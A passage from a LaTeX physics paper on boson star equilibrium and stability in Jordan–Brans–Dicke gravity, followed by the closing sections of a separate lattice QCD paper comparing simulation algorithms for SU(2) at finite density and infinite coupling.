\psi^*_{,\alpha }\psi_{,\beta} + \nonumber \\
m^2 |\psi|^2 + \frac{1}{2} \lambda |\psi|^4 ).
\end{eqnarray}
Commas and semicolons are
derivatives and covariant derivatives, respectively.
The covariant derivative of this tensor is null.
That may be proved either from the field equations, recalling the
Bianchi identities, or by intuitive arguments such as
the minimal coupling between the field $\phi$ and the matter
fields. This implies,
\begin{equation}
\label{fieldb}
\psi^{,\mu}_{~~;\mu}-m^2 \psi -\lambda |\psi|^2 \psi^*=0.
\end{equation}
We now introduce the background metric, corresponding to
a spherically-symmetric system which is the symmetry we impose
upon the star. Then
\begin{equation}
\label{metric}
ds^2=-B(r) \, dt^2 + A(r) \, dr^2 +r^2 d\Omega^2 \; . \label{METRIC}
\end{equation}
We also demand a spherically-symmetric form for the scalar field
describing the bosonic part and we adopt a form consistent with the
static metric,
\begin{equation}
\label{boson}
\psi(r,t)=\chi(r) \exp{[-i\varpi t]}.
\end{equation}
To write the equations of structure of the star, we use a rescaled radial
coordinate, given by
\begin{equation}
\label{x}
x=mr \,.
\end{equation}
{}From now on, a prime will denote a derivative with respect to the variable
$x$. We also define dimensionless quantities by
\begin{equation}
\label{dimensionless}
\Omega=\frac{\varpi}{m}\; , \; \; \Phi=\frac{\phi}{m_{{\rm Pl}}^2} \; ,\; \;
\sigma=\sqrt{4\pi} \, \frac{\chi(r)}{m_{{\rm Pl}}} \; ,\; \;
\Lambda=\frac{\lambda}{4\pi} \, \frac{m_{{\rm Pl}}^2}{m^2} \,,
\end{equation}
where $m_{{\rm Pl}} \equiv G_0^{-1/2}$ is the present Planck mass. Note that
our dimensionless variables are defined with respect to our observed Planck
mass, regardless of whether or not that corresponds to the Planck mass at
that time.
Our
observed gravitational coupling implies $\Phi = 1$.\footnote{There is
actually a post-Newtonian correction to this of order $1/\omega$
\cite{12-boson}, which we
shall not concern ourselves with.} In order to
consider the total amount of mass of the star within a radius $x$ we change
the function $A$ in the metric to its Schwarzschild form,
\begin{equation}
\label{M}
A(x)=\left(1-\frac{2M(x)}{x\,\Phi(\infty)}\right)^{-1}.
\end{equation}
This expression {\em defines} $M(x)$.
The issue of mass definitions in JBD boson stars will
be examined more deeply in the following section.
Note that a factor $\Phi(\infty)$ appears in Eq.~(\ref{M}). This
is crucial to obtain the correct value of the mass, which from comparing
this to the asymptotic form of the JBD--Schwarzschild solution is given by
\begin{equation}
\label{schmass}
M_{{\rm star}}= M(\infty) \, \frac{m_{{\rm Pl}}^2}{m}\,,
\end{equation}
for a given value of $m$.\footnote{This corrects an error in Eq.~(10) of
Ref.~\cite{BOSON-MEMORY}. That error was typographical only and did not
affect any computations in that paper.}
With all these definitions, the equations of structure reduce to the
following set:
\begin{eqnarray}
\label{field1}
\sigma^{\prime \prime} & + & \sigma^{\prime} \left( \frac{B^\prime}{2B} -
\frac{A^\prime}{2A} + \frac{2}{x} \right) \nonumber \\
&& + A \left[ \left(\frac{\Omega^2}{B}-1 \right)\sigma -
\Lambda \sigma^3 \right]=0 \; ,
\end{eqnarray}
\begin{eqnarray}
\label{field2}
\Phi^{\prime \prime} & + & \Phi^{\prime} \left( \frac{B^\prime}{2B} -
\frac{A^\prime}{2A} + \frac{2}{x} \right)+
\frac{1}{2\omega+3}\frac{d\omega}{d\Phi} \Phi^{\prime 2}
\nonumber \\
&& - \frac{2A}{2\omega+3} \left[ \left(
\frac{\Omega^2}{B}-2 \right)\sigma^2 -\frac{\sigma^{\prime 2}}{A} -
\Lambda \sigma^4 \right] =0 \; ,
\end{eqnarray}
\begin{eqnarray}
\label{field3}
\frac{B^{\prime}}{xB} & - & \frac{A}{x^2}\left( 1-\frac{1}{A} \right)=
\frac{A}{\Phi} \left[ \left( \frac{\Omega^2}{B}-1 \right)
\sigma^2 +\frac{\sigma^{\prime 2}}{A} -
\frac{\Lambda}{2} \sigma^4 \right] \nonumber \\
&& + \frac{\omega}{2}\left(\frac{\Phi^{\prime}}{\Phi}\right)^2
+ \left( \frac{\Phi^{\prime \prime}}{\Phi}-
\frac{1}{2}\frac{\Phi^{\prime}}{\Phi} \frac{A^\prime}{A}
\right) + \frac{1}{2\omega+3}\frac{d\omega}{d\Phi}
\frac{\Phi^{\prime 2}}{\Phi} \nonumber \\
&& - \frac{A}{\Phi} \frac{2}{2\omega+3} \left[
\left(\frac{\Omega^2}{B}-2 \right)\sigma^2
-\frac{\sigma^{\prime 2}}{A} - \Lambda \sigma^4 \right] \; ,
\end{eqnarray}
\begin{eqnarray}
\label{field4}
\frac{2BM^\prime}{x^2 \Phi(\infty)} & = & \frac{B}{\Phi} \left[ \left(
\frac{\Omega^2}{B}+1 \right)\sigma^2 +\frac{\sigma^{\prime 2}}{A}
+ \frac{\Lambda}{2} \sigma^4 \right] \\
& + & \frac{B}{\Phi} \frac{2}{2\omega+3} \left[
\left(\frac{\Omega^2}{B}-2 \right)\sigma^2
-\frac{\sigma^{\prime 2}}{A} - \Lambda \sigma^4 \right] \nonumber \\
& + & \frac{\omega}{2}\frac{B}{A}\left( \frac{\Phi^{\prime}}{\Phi}\right)^2
-\frac{B}{A(2\omega+3)}\frac{d\omega}{d\Phi}
\frac{\Phi^{\prime 2}}{\Phi} - \frac{1}{2}
\frac{\Phi^{\prime}}{\Phi} \frac{B^\prime}{A} \nonumber \,.
\end{eqnarray}
To solve these equations numerically, we use a fourth-order Runge--Kutta
method, for which details may be found in Ref.~\cite{TORRES_BOSON}.
In general relativity, the possible equilibrium solutions are entirely
parametrized by the central value of the boson field, $\sigma(0)$. In JBD
theory, one also needs to specify the asymptotic strength of the
gravitational coupling, $\Phi_\infty$, or equivalently the value of $\Phi$ at
the centre of the star.
The particle number, conserved due to the $U(1)$ symmetry of the $\psi$
field, is
\begin{equation}
N_{{\rm star}}= \frac{m_{{\rm Pl}}^2}{m^2} \Omega \int_0^\infty \sigma^2
\sqrt{\frac AB} \, x^2 \, dx \equiv \frac{m_{{\rm Pl}}^2}{m^2}
N_\infty \,,
\end{equation}
where the last equality defines $N_\infty$. If the particles comprising the
star were widely separated, their mass would be $mN_{{\rm star}}$. One can
therefore define a binding energy, ${\rm BE}_{{\rm star}} = M_{{\rm star}} -
m N_{{\rm star}}$, and a necessary, though not sufficient, condition for the
star to be stable is that the binding energy be negative. Considerable care
is however necessary in deciding how to define the mass which appears in this
expression \cite{WHINNETT}, and we discuss this at length in the next
Section. It is normally convenient to consider a dimensionless binding
energy, defined by
\begin{equation}
{\rm BE} = M(\infty) - m N_\infty \,.
\end{equation}
Finally, to get a feeling for the possible rate of variation of
$\Phi$, we consider the solution corresponding to
homogeneous matter-dominated cosmologies, which is \cite{Nariai,Gurevich}:
\begin{equation}
\Phi(t) \propto t^{2/(4+3\omega)} \propto a^{1/(1+\omega)}\,.
\end{equation}
At the current limit $\omega =500$, the variation in $\Phi$ since
matter--radiation equality at around $z_{{\rm eq}} = 24\,000\, \Omega_0 h^2$
is a couple of percent. During radiation domination $\Phi$, and hence $G$,
is constant.
\section{Mass definitions}
The definition of mass in scalar--tensor theories is a subtle one, which has
recently been examined in detail by Whinnett \cite{WHINNETT}.
When one leaves the security of general relativity, one first has to worry
about which conformal frame one should work in, either the original Jordan
frame as given in Eq.~(\ref{action}), or the Einstein frame obtained by
carrying out a conformal transformation to make the gravitational sector
match general relativity. Additionally, while in the Einstein frame all
reasonable definitions coincide, in the Jordan frame they do not.
Whinnett studied three possible definitions. He found huge differences for
$\omega = -1$, but
the three definitions approach each other in the large $\omega$ limit, as one
expects since they coincide in general relativity. These
are to be compared with the {\it rest mass}, which is just the particle
number multiplied by the particle mass. The definitions are:
\begin{itemize}
\item The Schwarzschild mass, given by
\begin{equation}
m(r)=4 \pi \int_0^r \rho r^2 dr \; ,
\end{equation}
where $\rho$ is defined as the right-hand side of
Einstein's timelike equation. This corresponds to the ADM mass in the Jordan
frame. It is the commonly-used definition of mass and in the limit $r \to
\infty$ coincides with $M_{{\rm star}}$ defined in Eq.~(\ref{schmass}).
\item The Keplerian mass, given by,
\begin{equation}
m_K(r)= r^2 \frac {B^\prime}{2} \; .
\end{equation}
\item The Tensorial mass, given by,
\begin{equation}
m_T (r)= r^3 \frac {B^\prime \phi + \phi^\prime B}
{2 \phi r + r^2 \phi^\prime} \; .
\end{equation}
\end{itemize}
The last two definitions are orbital masses. A non-self-gravitating
test particle in a circular geodesic motion in the geometry of
Eq.~(\ref{METRIC}) moves with an angular velocity given by
\begin{equation}
\frac {d \varphi}{dt} = \sqrt { \frac{B^\prime}{2r} } \; ,
\end{equation}
as measured by an observer at infinity \cite{GRAVITATION}. Then, applying
Kepler's third law, the mass of the system can be obtained by making,
\begin{equation}
M(\infty)= \lim_{r \rightarrow \infty}
\left[ r^3 \left( \frac{d\varphi}{dt} \right)^2 \right] \; .
\end{equation}
So, the Keplerian mass is {\it Kepler's third law mass} in the Jordan frame,
whereas the Tensorial mass is {\it Kepler's third law mass} in the Einstein
frame. In the Einstein frame all mass definitions
coincide, so the Tensorial mass is also the Einstein frame ADM mass.
These definitions differ impressively for the $\omega =-1$ case, and, in
general, for low values of $\omega$ \cite{WHINNETT}. Then, of course, it
becomes very important to have a correct description of the stellar mass,
because it will decide stability properties and binding energy behaviour.
For the case $\omega=-1$, the Keplerian mass would lead to positive binding
energy for all values of central density, suggesting that every solution is
generically unstable. The Schwarzschild mass would instead lead to negative
binding energies for every value of central density, suggesting that every
solution is potentially stable, even for large values of
$\sigma(0)$.\footnote{In fact, for small values of central density the
Schwarzschild mass becomes negative for low $\omega$. This might indicate
that a classical wormhole can form, in much in the same way as the solution
presented in Ref.~\cite{TORRES_BDWH}.} This leads one to feel that neither
of these two masses is likely to be the correct one to use in the binding
energy calculation. Further, it is the Tensorial mass which peaks (as a
function of central density) at the same location as the rest mass, an
important property in the general relativity case \cite{HARRISON} which is
crucial in
permitting the application of catastrophe theory to analyze the stability
properties. This property presumably originates from the Tensorial mass
being the Einstein frame ADM mass, though we have no mathematical proof at
present. There is therefore a strong case \cite{WHINNETT} towards the
adoption of the Tensorial mass as the real mass of the star, especially
for the strong field cases of low $\omega$ values.
For the simulations we analyze in this work, we have computed both the
Schwarzschild and the Tensorial mass. As expected, we find that for large
$\omega$ values, which are the ones in which we are interested,
the difference is negligible; every graph we plot is unchanged if we replace
the Schwarzschild mass by the Tensorial mass. Hence, for reasons of
numerical simplicity we actually compute the Schwarzschild mass, as it is
directly obtained from the set of differential field equations.
\section{Stability analysis using catastrophe theory}
Catastrophe theory provides a very direct route to the stability properties
of boson stars \cite{KUS}. The technique was described in a review of the
stability of solitons \cite{KUS0}, in which it was shown that the
identification of conserved quantities of a physical system is sufficient for
the determination of stable und unstable solitons. In the case of boson
stars, we are dealing with nontopological solitons which are characterized by
mass and particle number, the only conserved quantities of this theoretical
model. For every central value of the scalar field, there is a unique value
for the mass and particle number. By drawing the conserved quantities
against each other, the so-called {\em bifurcation diagram} is created. If
{\em cusps} are present in this diagram, one can immediately read off the
stable and unstable states. Starting with small central densities where mass
and particle number is also small, one assumes that these stars are stable
(against small radial perturbations). If, as the central density is
increased, one meets a cusp, the stability of the boson star changes from
stable to unstable if the following states --- the branch as a whole --- have
higher mass. This method is applied again at every succeeding cusp. Should
it be that at some cusp the masses beyond the cusp are smaller, then the
state changes from unstable to stable. The reason behind this method is that
the cusp is a projection of a saddle point of a Whitney surface \cite{KUS}.
The curve leading to the cusp consists of projections of fold points; fold
points and cusps are the singularities of the Whitney surface, just the
points recognizable in the bifurcation diagram. The fold points are the
projection of maxima and minima of Whitney's surface; maxima determine
unstable solutions while minima govern stability.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=12cm \epsfbox{dat1-bd.ps}\\
\caption[fig1]{\label{fig1} Boson star equilibrium configurations for
different values of $\Phi(\infty)$ and self-interaction. Of the two lines
for each case, the one with the higher peak is the particle number.
$\sigma(0)$ is in the interval $(0,0.75)$ and there are 50 models per curve.}
\end{figure}
The method of catastrophe theory has also been applied in the context of
neutron stars \cite{KUS1}, Einstein--Yang--Mills black holes \cite{MAEDA},
and inflationary theory \cite{KUS2}. More recently, it has been introduced
for neutron and boson stars in scalar--tensor theories, and in particular in
JBD theory \cite{COMER,HARADA}. {}From these theories, one can learn how the
properties of static solutions change if the asymptotic value of $\Phi$
changes. In the following, we show that there is no stability change at all
within a JBD theory as $\Phi_\infty$ is changed; if a star is stable, then it
is for every value of $G$. The binding energy can change its sign for stars
which are unstable, but not for stable ones.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=12cm \epsfbox{dat3-bd.ps}\\
\caption[fig2]{\label{fig2} Typical curves for boson star masses as a
function of $\Phi(0)$, with $\Phi(\infty) = 0.95$. Note the narrow $x$-axis
range.}
\end{figure}
\section{Numerical Results}
\begin{figure}[t]
\centering
\leavevmode\epsfysize=12cm \epsfbox{dat2-bd.ps}\\
\caption[fig3]{\label{fig3} The boson star binding energy as a function of
the number of particles. The figure depict several curves for different
$\Phi(\infty)$
and $\Lambda$
values, the coupling is $\omega=400$.}
\end{figure}
First, we plot the equilibrium configuration diagrams for different values of
the central density and asymptotic gravitational constant. In Fig.~1a
($\Lambda=0$), we have 50 models with central density in the interval
$(0,0.75)$, with no self-interaction. Fig.~1b shows the same, but with
$\Lambda=100$. We recognize that at fixed central density $\sigma(0)$, the
mass and particle number increase from earlier times ($\Phi(\infty)=0.95$) to
later times ($\Phi(\infty)=1.05$). If we draw the mass against the
central value of the JBD field $\Phi(0)$, we find a loop, see
Fig.~\ref{fig2}. The curve starts at the flat spacetime solution ($\Phi=$
constant everywhere and zero mass), reaches the maximum at the same value of
central scalar field as it reached the maximum of Fig.~1, cf.~\cite{COMER},
makes a turn, and eventually reaches smaller $\Phi(0)$ values. Stable stars
are characterized by $\Phi(0)>\Phi(\infty)$, i.e.~$G(0)<G(\infty)$ where $G$
is a function of $r$. Unstable stars can have $G(0)$ greater than or less
than $G(\infty)$. There are two solutions for $\Phi(0)=\Phi(\infty)$:
first, the flat spacetime solution and, secondly, an unstable boson star.
The same characteristic curve is to be found for different values of the
asymptotic $G$.
Figs.~\ref{fig1} and \ref{fig2} give us, in form of
$(\sigma(0),\Phi(0))$, the complete information about the initial
characteristics of a boson star at a certain `time', characterized by the
constant $\Phi(\infty)$.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=9cm \epsfbox{new-fig.ps}\\
\caption[fig-new]{\label{fig-new} Boson star masses for a reduced interval
of values of $\sigma(0)$ around the cusp at three different `times'
$\Phi(\infty)=1.05$ (top), $\Phi(\infty)=1.0$ (middle), and
$\Phi(\infty)=0.95$ (bottom) [$\omega =400$].}
\end{figure}
For the investigation of stability, rather than the bifurcation diagram
$(M,N)$ we use the analogous figure of binding energy against the particle
number, Fig.~\ref{fig3}. It shows us that the stars with small central
densities have negative binding energies. In Fig.~3b ($\Lambda=100$) we see
two cusps: the first one corresponds to the maximum of Fig.~1 and the second
to the minimum. For $\Lambda = 0$ we did not go to high enough central
densities to see the second cusp. The first cusp has negative binding energy
and the other has positive binding energy. Stars with central densities from
zero to the first cusp belong to projections of minima within a Whitney
surface, i.e.~they are stable. Beyond the cusp, one radial perturbation mode
is becoming unstable, and at the second cusp a second mode becomes unstable.
To study the influence of the changing gravitational coupling on the exact
position of the cusp we made a high resolution study around the position of
the cusp for the $\Phi(\infty)=1$ model. As can be seen from from Fig.~1, it
is at $\sigma(0) \simeq 0.27$. We then did simulations in the
interval $\sigma(0) \in [0.265, 0.275]$, with eleven
models in that range, shown in Fig.~4. For $\Phi(\infty)=1.05$ the mass and
the number
of particles as a function of $\sigma(0)$ are increasing functions. That
means all the models are in the stable branch. For $\Phi(\infty)=0.95$
instead, mass and number of particles are decreasing functions, locating
all models in the unstable branch. In the case of our present gravitational
coupling, the cusp appears within the interval. Thus, going from the future
to the past ($\Phi(\infty)=1.05$ to $\Phi(\infty)=0.95$) models with a given
central density move from the
stable to the unstable branch. This agrees with the analytic prediction that
in the general relativity limit one should find $\sigma^2_{{\rm max}} \propto
\Phi(\infty)$. The movement of the cusp is much the same as Comer and Shinkai
reported in \cite{COMER}, except for one important point. They found no cusp
at all for times well before the present, meaning that they did not find {\it
any}
stable star in the past. On the contrary, we have found that the cusp moves
backwards in $\sigma(0)$, but it is still there, see Fig.~3. We believe
that their conclusion derives from the use of a wrong mass definition.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=11cm \epsfbox{n-unph.eps}\\
\caption[fig4]{\label{fig4} The behaviour of masses and particle numbers for
extreme values of the gravitational asymptotic constant.
The model taken has $\Lambda=0$, $\sigma(0)=0.1$ and $\omega=400$.}
\end{figure}
In addition, we have calculated
solutions with constant central scalar field values at different `times'
$\Phi(\infty)$, also taking into account very small values of $\Phi(\infty)$
which are unphysical, see Fig.~\ref{fig4}. This figure represents a
bifurcation diagram with respect to $\Phi(\infty)$. It is evident that no
cusp is present, so no stability change occurs.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=13cm \epsfbox{dat6-bd.ps}\\
\caption[fig5]{\label{fig5} The radius of equilibrium boson star
configurations for different values of the
self-interaction and central density in the range $(0,0.75)$.}
\end{figure}
Because a boson star has no clearly-defined surface, but rather an infinite
exponentially-decreasing atmosphere, several radius definitions are in use.
We apply here the common one, the radius which encloses 95\% of the total
mass. Fig.~\ref{fig5} represents the mass against the radius. The diagram
shows that solutions with small central densities have large radii. Then,
with growing central densities, the mass increases while the radius
decreases. The maximum in this diagram is the most centrally-dense stable
star solution. The radius of the maximal
mass boson star remains roughly
the same, but the mass corresponding to a given
central density grows with time, producing a denser star. The increase of
the self-interaction constant $\Lambda $ gives larger radii as one expects
from a repulsive force. Compare this with similar results for neutron
stars (Figure 7 in Ref.~\cite{HARRISON}) and for general relativistic boson
stars (Figure 3 in Ref.~\cite{KUS1}).
\begin{figure}[t]
\centering
\leavevmode\epsfysize=6.5cm \epsfbox{dat7-bd.ps}\\
\caption[fig6]{\label{fig6} The behaviour of the difference between the
central and the asymptotic value of the Brans--Dicke scalar as a function of
$\sigma(0)$ for different values of the effective gravitational constant.
Note the highly expanded $y$-axis.}
\end{figure}
So far, we have recognized that the boson stars are denser the larger
$\Phi(\infty)$ is. The reason can be understood as a
deeper gravitational potential, expressed by an increase in the difference
of $\Phi(0)$ and $\Phi(\infty)$, see Fig.~\ref{fig6}.
For a fixed value of $\sigma(0)$, the behaviour of the binding energy,
the radius, and $\delta \Phi$ (the difference between the central and the
asymptotic value of the Brans--Dicke scalar) are all plotted in
Fig.~\ref{fig7}.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=9.9cm \epsfbox{bd100-f.ps}\\
\caption[fig7]{\label{fig7} Boson star features for a given central density,
as a function of $\Phi_\infty$.}
\end{figure}
In Fig.~\ref{fig8}, we show the dependence of equilibrium configurations on
$\omega$. To do
this we plot the binding energy behaviour in the interval $\sigma(0) \in
(0,0.3)$ for two values in the asymptotic effective gravitational constant.
The value of $\omega $ is in the range (50, 50000). The upper curves in both
diagrams correspond to $\omega =10000$ and $50000$ and match each
other exactly. The upper panel shows models with $\Phi(\infty)=0.98$, while
the other has our observed gravitational strength. This shows that,
when $\omega$ tends to infinity, a general relativity like solution --- with
a different value for Newton's constant --- is obtained. Recall that even
with the strong limit on $\omega$ valid today, we could have an evolving
$\omega(\phi)$ which is much smaller in the past, and so small values of the
coupling parameter may also be meaningful.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=10cm \epsfbox{n-wstab.eps}\\
\caption[fig8]{\label{fig8} Boson star binding energy as a function of the
number of particles, for different values of $\omega$ ranging
from 50 to 50000. The upper panel shows models with $\Phi(\infty)=0.98$, the
lower one, with $\Phi(\infty) =1$. The value of $\sigma(0)$ lies in the
range $(0,0.3)$.}
\end{figure}
\section{Concluding remarks}
In this paper, we have thoroughly analyzed static boson star configurations
in the framework of the Jordan--Brans--Dicke theory of gravitation. We
studied their equilibrium and stability properties in the present as well as
for other cosmic times, in the past or in the future. Stable boson stars may
exist at any epoch, with stability depending on the value of central density.
Together with this, a number of new physical features have been displayed
concerning the radius--mass relation, the behaviour of the difference between
the central and asymptotic value of $\Phi$, the dependence on the structure
upon the coupling parameter and other properties. This configurations can be
used either to compare with the output of a numerical evolution code, or as
the input into one. We expect that such a study will shed light on which
scenario of the gravitational memory phenomenon might occur in practice.
Whichever it might be, it is very likely that the same phenomena could also
occur for fermionic stars, such as white dwarfs. In this sense, the results
obtained in this paper can be regarded as of a general nature. Astrophysics
should be unambiguously sensitive to the underlying theory of gravity,
especially on cosmological times scales. It is in this framework, perhaps,
where a crucial test of gravity could arise.
\acknowledgments
D.F.T. was supported by a British Council Fellowship (Chevening Scholar)
Fundaci\'on Antrochas and CONICET, F.E.S.~by a
European Union Marie Curie TMR fellowship and A.R.L.~by the Royal Society.
We are indebted to Andrew Whinnett for a series of valuable discussions.
|
1,477,468,750,080 | arxiv | \section{$SU(2)$ at infinite coupling}
In the previous section we have shown quite convincing evidences
of convergence problems for the MDP algorithm applied to
finite baryon density simulations in $SU(3)$;
we now address the same issue
in the case of $SU(2)$ as gauge group.
The motivation is twofold: firstly, to investigate
if the problems of the MDP approach
present in the $SU(3)$ case are universal and independent of the gauge
group; moreover, the $SU(2)$ gauge group offers us the
possibility of performing direct simulations using other algorithms,
not only for the smallest possible lattice as in $SU(3)$. In fact
since quarks and antiquarks belong to the same (real)
representation the fermion determinant is real and positive also
for non zero chemical potential, and we can recover
the meaning of Boltzmann weight for the exponential of minus the
action.
In order to have a complete set of results, with $\mu$ varying continuously
in a finite range of values, we used the Gran Canonical Partition
Function (GCPF) scheme. In the $SU(2)$ case it is possible to test
the (non)occurence of the severe drawbacks observed in $SU(3)$
\cite{rigorous}.
In fact, there exist results of $SU(2)$ theory in the
strong coupling limit at
$\mu \ne 0$, obtained using the HMC (Hybrid Monte Carlo) algorithm
in a $4^3 \times 4$ lattice \cite{hands}; this approach, even if not
convenient from a computer resources point of view (the simulation has
to be repeated for each value of $\mu$ considered), is a good workbench
for our GCPF simulations, being the fermion determinant explicitly
included in the integration measure. We have therefore tested our
results with those in \cite{hands}.
We have performed simulations in the strong coupling limit at
lattice volumes $4^3 \times 4$, $6^3 \times 4$ and $8^3 \times 4$ at three
different values of the quark mass $(m=0.1;0.2;0.4)$ measuring
the number density and the chiral condensate as functions of the
chemical potential $\mu$.
In these simulations we have diagonalised, for each quark mass value,
$O(1000)$ gauge configurations
generated randomly (e.g. only with the Haar measure of the group) and
then reconstructed iteratively the coefficients of the fugacity expansion
of the partition function \cite{gibbs} (GCPF coefficients).
Rounding effects in the determination
of the coefficients for these relatively large lattices have been
kept under control
using the same procedur developed for the
SU(3) case \cite{noi2}, \cite{rounding}.
At this point a numerical evaluation of the derivatives of free energy
allows the calculation of the observables we are interested in.
In figure 5 we report the number density and chiral condensate
as obtained in our simulations (continuous line) compared with
the HMC results of \cite{hands} (diamonds).
From these figures it is evident
that our simulations reproduce the HMC results quite accurately.
The agreement obtained in $SU(2)$ between the GCPF and HMC schemes
suggests that sampling problems are not present in this case, at least for
the lattices and operators we used.
As a further check of the goodness of GCPF results we have
computed the pion mass in a $6^3 \times 12$ lattice at the
quark mass values we used in our simulations.
In fact simplified models predict a phase transition (at least at small
temperature) at chemical potential coinciding, in SU(2),
to half of the mass of the lightest baryon of the theory
(degenerate with the pion at $\mu=0$).
To extract the critical
value of the chemical potential we have used the following criterium.
The number density appears, with increasing volume, to be
almost zero up to the
critical point, with a linear rise beyond it and flat at large $\mu$
(saturation).
To identify the critical point we have computed
$\partial n(\mu)/\partial\mu$ for two volumes and defined $\mu_c$
as the position of the first crossing of the curves.
In the infinite volume limit this definition correctly identifies the
value of $\mu$ where the linear behaviour starts.
In the table we report our critical chemical potential and
half the pion mass for different values of $m$.
\begin{center}
\begin{tabular}{|c|c|c|}
\hline
\ $m$ & $\mu_c$ & $\frac{m_{\pi}}{2}$ \\
\hline
\ 0.1 & 0.340(4) & 0.3408(7) \\
\ 0.2 & 0.485(5) & 0.4840(6) \\
\ 0.4 & 0.693(5) & 0.6889(5) \\
\hline
\end{tabular}
\end{center}
We can conclude from these data that our predicted
critical chemical potential equals $m_\pi /2$ and
moves with quark mass in the
expected way, and this behaviour increases the confidence on our
numerical results.
We now compare the GCPF results with MDP ones.
The published results for $SU(2)$ in the MDP scheme
\cite{klae}
are obtained in simulations of $4^3 \times 4$ and $8^3 \times 4$ lattices;
from these simulations we will compare the number density and chiral
condensate with ours.
In fig. 6 we report the number density as function of the chemical
potential computed at $m=0.2$ for $L_t=4$ for the three different lattice
spatial volumes.
Superimposed to our data we report the number density obtained with the MDP
algorithm (from figure 6 of \cite{klae}), at the same quark mass
in a $8^3 \times 4$ lattice. It is evident a marked difference
between MDP results and those by our simulations, again limited around the
critical chemical potential as in the $SU(3)$ case.
In particular our critical chemical potential
is significantly smaller than the one reported in \cite{klae}.
The largest part of published MDP results concerns the chiral condensate;
in \cite{klae} there are results for different volumes, thus
allowing a more detailed comparision with our results.
We have computed this observable at the same value of the quark mass
as in \cite{klae} ($m=0.2$) in three lattices: $4^3 \times 4$,
$6^3 \times 4$ and $8^3 \times 4$.
In figure 7 we report our and MDP results (from figure 2 of \cite{klae}).
It is evident that for the smaller lattice
(i.e. $4^3 \times 4$) the MDP data are in good agreement with ours;
MDP results in $8^3 \times 4$ still agree with ours except at $\mu=0.6$
(the critical point derived in $\cite{klae}$). The strong finite volume
effect noticed by the authors of $\cite{klae}$ seems unlikely on the chiral
condensate at infinite coupling, at least this far from the chiral limit.
In the case of $SU(3)$ gauge group, as seen before, we have found
severe slowing down for the MDP scheme.
For $SU(2)$ gauge group Klaetle and Mutter, as reported in \cite{klae},
have tested the independence of their results on the initial
configuration only for the $4^3 \times 4$ lattice.
In this case the results agree at a good level with ours.
In our opinion the observed discrepancy has to be ascribed to
convergence problems
of the MDP algorithm, although they arise at volumes larger than
in the $SU(3)$ case.
Once again there are serious doubts on the accuracy that the MDP algorithm
can achieve near the critical region.
\vskip 0.3truecm
\noindent
\section {Conclusions}
\vskip 0.3truecm
The strong first order signal seen using the MDP code
for $L_t=4$ is difficult to reconcile with $i)$
the absence of a phase
transition at finite temperature and infinite mass and
$ii)$ the (reliable) numerical results on $2^4$ lattice.
To solve this discrepancy we tried to repeat the MDP simulations at larger
masses. This turned out to be impossible due to a dramatic drop in
performances at large ($m>1$) masses. We had the same evidence
trying to change $L_t$ from 4 to larger values.
We repeated the simulations at small mass and $L_t=4$ finding
unexpected huge hysteresis signal but not a direct evidence
of two state coexistence.
The peculiar behaviour of the MDP algorithm seems not confined to
the $SU(3)$ case. Indeed MDP $SU(2)$ simulations
agree well with HMC and GCPF results except in the critical
region and the discrepancies are more severe with the system volume.
From these evidences we conclude that the MDP algorithm (for
two and tree colours) is not reliable in the most interesting
region of $\mu$ where the number density varies rapidly
and no conclusion on the presence of a phase transition
can be achieved using this technique.
More in general, we conclude that even the infinite coupling limit
of finite density QCD,
in principle easier
to be studied, is still awaiting an efficient simulation scheme.
\newpage
\noindent
{\bf Acknowledgements}
\vskip 0.3truecm
The authors thank F. Karsch for a critical reading of the manuscript.
A.G. thanks F. Karsch for useful discussions and Istituto Nazionale di
Fisica Nucleare for a fellowship at the University of Zaragoza.
This work has been partially supported by CICYT (Proyecto AEN97-1680)
and by a INFN-CICYT collaboration.
\newpage
\vskip 1 truecm
|
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